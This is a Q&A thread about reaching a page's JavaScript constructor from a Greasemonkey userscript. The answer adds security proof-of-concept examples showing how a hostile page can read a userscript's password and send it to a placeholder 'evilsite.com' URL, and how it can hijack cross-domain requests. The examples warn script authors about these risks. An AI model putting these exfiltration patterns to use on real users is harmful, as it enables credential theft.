Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

How do I use constructor of a remote Page to create an Object in my Greasemonkey UserScript?

The page on which my userscript will run has a namespace, the namespace defines a constructor function. I would like to create an object using the same constructor and use methods of the object in my userscript. So far I have been unsuccessful. Here's what I am trying to do.

The Page has the following native javascript block :

var namespace={ constructor : function(){
   this.sum = function(value1,value2){
   alert(value1+value2);
    }
  }
}

being used like:

var pageObject=new namespace.constructor();
pageObject.sum(1,2);

In My Userscript its my intention to create an object just like pageObject and call sum from that with my own parameters.

I have tried doing the following :

var greaseNameSpace = unsafeWindow.namespace;
var greaseObject = new greaseNameSpace.constructor();
greaseObject.sum(1,2);

No Luck, appears though greaseNameSpace exist, and even greaseNameSpace.constructor is a valid function , using new greaseNameSpace.constructor() yields undefined.

also tried following :

var greaseObject =new unsafeWindow.namespace.constructor();

again greaseObject remains undefined.

I found one thread here How can I create an object of a class which is defined in the remote page?

But it uses eval, and I wonder if that's the right way ?

Any and all help would be much appreciated :) thanks!!

like image 356
miniGweek Avatar asked Nov 14 '22 03:11

miniGweek


1 Answers

I have found a method to solve the question. Be careful to use this method though: when you partially/wrongly implement this code, you're opening a potential security hole.

The code below obtains a window object without the ambiguous restrictions of unsafeWindow. Any code executed in the scope of this window object will behave if it was a part of the actual page, similarly to the Content Scripts at Google Chrome's extensions.

Code

// ==UserScript==
// @name           http://stackoverflow.com/q/4804765
// @namespace      Rob W
// @include        file:///tmp/test.html*
// ==/UserScript==

//Get a window object which is less restricted than unsafeWindow
var $_WINDOW = new XPCNativeWrapper(window, "")
                  .getInterface(Components.interfaces.nsIDOMWindow);

//Create an anonymous function wrapper for security
(function(){
    var obj = new $_WINDOW.namespace.constructor;
    obj.sum(4,5);

}).call($_WINDOW)

Security considerations

  • Wrap the code which uses methods/variables of this window object in a function, so that no dangerous holes are created. Do not allow this function wrapper to execute random code based on user input.
  • See Example 3 for the right method to implement $_WINDOW

Examples / Proof of Concept

Below, I will show possible cases in which the $_WINDOW object is implemented in a dangerous way. It's obvious that the Code at the "//page" was not expected by the developer of the GM script.
Note: Some examples (such as example 2) may be useful for secure (local) web-based applications (at the file:/// protocol, for instance).
Example 3 shows the right method to use $_WINDOW.

I have used the magic __defineGetter__ function to detect calls to a variable, because most script developers do not know about this feature. Calling functions directly will also trigger the harmful code;

The main cause is laid at arguments.callee.caller. Inside a function, this object will refer to the function which has called the current function. When unsafeWindow is used, the arguments.callee.caller variable cannot be called. The function will then be displayed as function SJOWContentBoundary{ [native code]}. However, when $_WINDOW is used, the real GM function is visible and callable by the remote page.

Example 1: Reading (sensible) data from a GreaseMonkey script

//GreaseMonkey:
var password = "password";
alert($_WINDOW.namespace.Var); //Seemingly harmless?

//Page:
var namespace = {Var:1};
namespace.__defineGetter__("Var", function(){
    var gm_function = arguments.callee.caller;
    var password = gm_function.toString().match(/var password = "(.*?)";\n/);
    (new Image).src = "http://evilsite.com/stealpassword.php?p=" + password[0];
})

Example 2: Leaking a cross-domain XMLHttpRequest method to an arbitrary page.
The creator of this GM script intended to modify the page according to a hash change. However, by including a check (whether the page should be affected) in a function which changes the URL / callback, a hole was created.

//GreaseMonkey:
var base_url, callback;
function checkExistent(url, func){
    base_url = url;
    callback = func;
    return typeof $_WINDOW.some_var != "undefined"; //<---Leaked!
}
var isExistent = checkExistent("http://example.com/load?h=", function(res){
    alert(res.responseText);
});
var lastHash = unsafeWindow.location.hash.substr(1);
if(confirm(isExistent)){
    window.setInterval(function(){ //Create poller to detect hash changes
        var newHash = unsafeWindow.location.hash.substr(1);
        if(lastHash != newHash){
            GM_xmlhttpRequest({method:"GET",
                          "url": base_url + newHash, onload:callback});
            lastHash = newHash;
        }
    }, 300);
}

//Page
var step = 0, xhr;
window.__defineGetter__("some_var", function(){
    if(!step++){ //Define the xhr first time
        xhr = function(url, callback){
            arguments.callee.caller(url, callback);
              // = function checkExistent(url, callback) !!!!
            location.hash += "."; //Edit hash to trigger XHR
        }
    }
    return step;
});

Example 3: Correct usage
Variable getters should be defined such that no arbitrary requests can be made. Functions should not accept variables. If it's still necessary, wrap the getter in an anonymous function.

//GM:
function getUserdata(){
    //Get a string from a page. Wrap the string in a new String object,
    // to make sure that no evil properties/methods are defined
    return String($_WINDOW.variable);
}

//Method 2
//The developer of the GM script has to define a correct wrapper for type:
// String, Number, Boolean, ...
function getRandomVariable(type, name){
    var variable = (function(){ //No arguments, no hazards
        return $_WINDOW[name];
    })();
    return type(variable);
}
getRandomVariable(String, "variable");

//Page:
var variable = "There's no way to abuse this GM bridge.";
like image 67
Rob W Avatar answered Feb 01 '23 09:02

Rob W